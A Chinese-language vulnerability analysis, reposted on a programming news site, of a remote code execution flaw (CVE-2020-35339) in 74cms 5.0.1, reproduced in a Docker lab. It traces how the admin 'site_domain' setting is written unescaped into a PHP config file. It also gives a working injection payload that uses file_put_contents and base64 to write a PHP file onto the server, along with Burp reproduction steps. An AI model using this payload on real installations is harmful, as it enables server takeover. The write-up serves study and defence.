返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >74cms 任意代码执行(CVE-2020-35339)
  • 151
分享到

74cms 任意代码执行(CVE-2020-35339)

网络安全php 2023-09-22 16:09:42 151人浏览 泡泡鱼
摘要

74cms 任意代码执行(CVE-2020-35339) 0x01 漏洞简介 骑士人才系统是一项基于PHP+Mysql为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于

74cms 任意代码执行(CVE-2020-35339)

0x01 漏洞简介

骑士人才系统是一项基于PHP+Mysql为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案, 骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点,自上线以来一直是职场人士、企业HR青睐的求职招聘平台。

0x02 影响版本

74CMS 5.0.1

0x03 环境搭建

  • 通过Docker拉取镜像
    • vulfocus/74cms_cve_2020_35339
  • 在vulfocus中直接开启镜像
  • 访问开启镜像中的80端口

后台的账号密码都是 adminadmin

0x04 漏洞分析

  • 查看搭建的容器 docker ps -a

  • 进入容器命令行中docker exec -it 镜像id /bin/bash

  • 进入后发现文件都存储在app目录中

  • 使用命令讲app文件夹压缩 zip -r app.zip /app

  • 将文件从容器中移出docker cp 298:app.zip /home/test

docker cp 容器名:要拷贝的文件在容器里面的路径    要拷贝到宿主机的相应路径

根据漏洞详情:

In 74cms version 5.0.1, there is a remote code execution vulnerability in /Application/Admin/Controller/ConfiGController.class.php and /ThinkPHP/Common/functions.php where attackers can obtain server permissions and control the server…

大致得知漏洞点在 ConfigController.class.phpfunctions.php这两个文件中,还知道此版本的CMS使用了ThinkPHP3.32的框架,所以网页的路由规则是和ThinkPHP相似的。
首先,我们根据POC请求包中的URL来对漏洞文件进行定位:

  • URL地址:/74cms/index.php?m=Admin&c=config&a=edit
  • URL简化:Controller=config&action=edit
  • 文件定位:/Application/Admin/Controller/ConfigController.class.php
public function edit(){        if(IS_POST){            $site_domain = I('request.site_domain','','trim');            $site_domain = trim($site_domain,'/');            $site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');            $site_dir = $site_dir==''?'/':$site_dir;            $site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');            $_POST['site_dir'] = $site_dir;            if($site_domain && $site_domain != C('qscms_site_domain')){                if($site_domain == C('qscms_wap_domain')){                    $this->returnMsg(0,'主域名不能与触屏版域名重复!');                }                $str = str_replace('Http://','',$site_domain);                $str = str_replace('https://','',$str);                if(preg_match('/com.cn|net.cn|Gov.cn|org.cn$/',$str) === 1){                    $domain = array_slice(explode('.', $str), -3, 3);                }else{                    $domain = array_slice(explode('.', $str), -2, 2);                }                $domain = '.'.implode('.',$domain);                $config['SESSION_OPTIONS'] = array('domain'=>$domain);                $config['COOKIE_DOMAIN'] = $domain;                $this->update_config($config,CONF_PATH.'url.php');            }            $logo_home = I('request.logo_home','','trim');            if(strpos($logo_home,'..')!==false){                $_POST['logo_home'] = '';            }            // $logo_user = I('request.logo_user','','trim');            // if(strpos($logo_user,'..')!==false){            //     $_POST['logo_user'] = '';            // }            $logo_other = I('request.logo_other','','trim');            if(strpos($logo_other,'..')!==false){                $_POST['logo_other'] = '';            }            if($default_district = I('post.default_district',0,'intval')){                $city = get_city_info($default_district);                $_POST['default_district'] = $city['district'];                $_POST['default_district_spell'] = $city['district_spell'];            }        }        $this->_edit();        $this->display();    }

这里使用频率搞得是一个I()函数,函数位置在ThinkPHP\Common\functions.php

新版本的74CMS底层使用TP进行了重构,而该漏洞又涉及到I函数,所以我们这里先来介绍一下TP中的I函数,I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转化,I函数的语法格式:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

其实这里的I()可以简单理解为Invoke(),它实现的功能就是调用若干个给定的方法filter对提交的数据input进行过滤。在我们提交网站配置的数据后,I()中会依次调用这几个方法:

trim(s1,s2);//移除s1左右两端的s2,如果存在htmlspecialchars(s1);//将s1中的特殊符号转换为html实体stripslashes(s1);//删除s1中的反斜杠strip_tags(s1);//删除s1中的php、js、html以及xml标签
function I($name,$default='',$filter=null,$datas=null) {static $_PUT=null;if(strpos($name,'/')){ // 指定修饰符list($name,$type) =explode('/',$name,2);}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串        $type   =   's';    }    if(strpos($name,'.')) { // 指定参数来源        list($method,$name) =   explode('.',$name,2);    }else{ // 默认为自动判断        $method =   'param';    }    switch(strtolower($method)) {        case 'get'     :           $input =& $_GET;        break;        case 'post'    :           $input =& $_POST;        break;        case 'put'     :           if(is_null($_PUT)){            parse_str(file_get_contents('php://input'), $_PUT);        }        $input =$_PUT;                break;        case 'param'   :            switch($_SERVER['REQUEST_METHOD']) {                case 'POST':                    $input  =  $_POST;                    break;                case 'PUT':                if(is_null($_PUT)){                    parse_str(file_get_contents('php://input'), $_PUT);                }                $input =$_PUT;                    break;                default:                    $input  =  $_GET;            }            break;        case 'path'    :               $input  =   array();            if(!empty($_SERVER['PATH_INFO'])){                $depr   =   C('URL_PATHINFO_DEPR');                $input  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr));                        }            break;        case 'request' :           $input =& $_REQUEST;           break;        case 'session' :           $input =& $_SESSION;           break;        case 'cookie'  :           $input =& $_COOKIE;            break;        case 'server'  :           $input =& $_SERVER;            break;        case 'globals' :           $input =& $GLOBALS;            break;        case 'data'    :           $input =& $datas;              break;        default:            return null;    }    if(''==$name) { // 获取全部变量        $data       =   $input;        $filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');        //$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');        if($filters) {            if(is_string($filters)){                $filters    =   explode(',',$filters);            }                        foreach($filters as $filter){                $data   =   array_map_recursive($filter,$data); // 参数过滤            }        }    }elseif(isset($input[$name])) { // 取值操作        $data       =   $input[$name];        $filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');        //$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');        if($filters) {            if(is_string($filters)){                if(0 === strpos($filters,'/')){                    if(1 !== preg_match($filters,(string)$data)){                        // 支持正则验证                        return   isset($default) ? $default : null;                    }                }else{                    $filters    =   explode(',',$filters);        }            }elseif(is_int($filters)){                $filters    =   array($filters);            }                        if(is_array($filters)){                foreach($filters as $filter){                    if(function_exists($filter)) {                        $data   =   is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤                    }else{                        $data   =   filter_var($data,is_int($filter) ? $filter : filter_id($filter));                        if(false === $data) {return   isset($default) ? $default : null;                        }                    }                }            }        }        if(!empty($type)){        switch(strtolower($type)){        case 'a':// 数组        $data =(array)$data;        break;        case 'd':// 数字        $data =(int)$data;        break;        case 'f':// 浮点        $data =(float)$data;        break;        case 'b':// 布尔        $data =(boolean)$data;        break;                case 's':   // 字符串                default:                    $data   =   (string)$data;        }        }    }else{ // 变量默认值        $data       =    isset($default)?$default:null;    }    is_array($data) && array_walk_recursive($data,'think_filter');    return $data;}

继续跟进update_config函数,文件位置:Application\Common\Controller\BackendController.class.php

public function update_config($new_config, $config_file = '') {        !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';        if (is_writable($config_file)) {            $config = require $config_file;            $config = multimerge($config, $new_config);            if($config['SESSION_OPTIONS']){                $config['SESSION_OPTIONS']['path'] = SESSION_PATH;            }            file_put_contents($config_file, " . stripslashes(var_export($config, true)) . ";", LOCK_EX);            @unlink(RUNTIME_FILE);            return true;        } else {            return false;        }    }

在该函数中,首先判断configfile(Application/Common/Conf/url.php)是否是一个文件,并对config_file的路径进行重定义(此处的HOME_CONFIG_PATH为:/Application/Home/Conf/),之后判断文件是否可写,之后调用multimerge方法,在multimerge方法中进行一次类似于复制的操作将newconfig(我们恶意请求中的site_domain)中的内容复制到config_file中:

function multimerge($a, $b) {    if (is_array($b) && count($b)) {        foreach ($b as $k => $v) {            if (is_array($v) && count($v)) {                $a[$k] = in_array($k, array('SESSION_OPTIONS')) ? multimerge($a[$k], $v) : $v;            } else {                $a[$k] = $v;            }        }    } else {        $a = $b;    }    return $a;}

之后返回到BackendController.class.php中在L475行会进行一次写文件操作,var_export() : 用斜杠引用字符串&将特殊字符转换为 HTML 实体 -> stripslashes (): 取消引用带引号的字符串 -> 将特殊字符转换为 HTML 实体 -> 写入文件,其中config_file为Application/Common/Conf/url.php,内容config为我们恶意请求中的site_domain的内容,再次我们可以向Application/Common/Conf/url.php写入我们构造的恶意PHP代码。

尝试输入一个域名,可以发现它在处理网站域名的时候只取**“.”符号分割出来的最后两个,并且是以字符串的形式作为其中一个元素存在文件中的。如果要执行代码,我们应该让其作为一句php代码,而不是字符串单独存在。所以自然而然,很简单就可以使用“‘”闭合,用“,”**使其独立。
在这里插入图片描述

/Application/Home/Conf/url.php:“return array(...);”后面的代码 不起作用,所以有效载荷是 site_domain=‘, {your php code},’,poc为

.', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8%2b')),'.com
 return array (  'URL_MODEL' => 0,  'URL_HTML_SUFFIX' => '.html',  'URL_PATHINFO_DEPR' => '/',  'URL_ROUTER_ON' => true,  'URL_ROUTE_RULES' =>   array (    '/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1',    '/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1',  ),  'QSCMS_VERSION' => '5.0.1',  'QSCMS_RELEASE' => '2019-03-19 00:00:00',  'SESSION_OPTIONS' =>   array (    'domain' => '.', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+')),'',    'path' => '/app/data/session',  ),  'COOKIE_DOMAIN' => '.', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+')),'',);

可以看到我们构造的恶意代码已经独立出来,利用file_put_contents函数将我们的恶意代码写入到了我们生成的404.php文件中,在利用漏洞的最后一个阶段,我们只需要访问url.php,之后使其内部的代码执行即可实现写文件到当前目录下的404.php中。

0x05 漏洞复现

这个漏洞主要在后台 系统-->网站域名 这存在一处命令执行的RCE

通过目录扫描发现了index.php文件,通过74cms后台地址,index.php?m=Admin&c=index&a=login成功进入后台
在这里插入图片描述

使用burp进行抓包分析
在这里插入图片描述

将数据包发送到repeter模块

这里使用来检测漏洞,base64将其进行编码之后为:PD9waHAgcGhwaW5mbygpOz8+

进行替换site_domain=', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8%2b')),'
在这里插入图片描述

然后执行http://192.168.237.129:59582//Application/Common/Conf/url.php使得恶意代码执行

访问http://192.168.237.129:59582//Application/Common/Conf/404.php
在这里插入图片描述

参考链接

https://cloud.tencent.com/developer/article/1850882
https://blog.csdn.net/qq_41252520/article/details/113850389

来源地址:https://blog.csdn.net/weixin_44047654/article/details/127976359

--结束END--

本文标题: 74cms 任意代码执行(CVE-2020-35339)

本文链接: https://lsjlt.com/news/415495.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作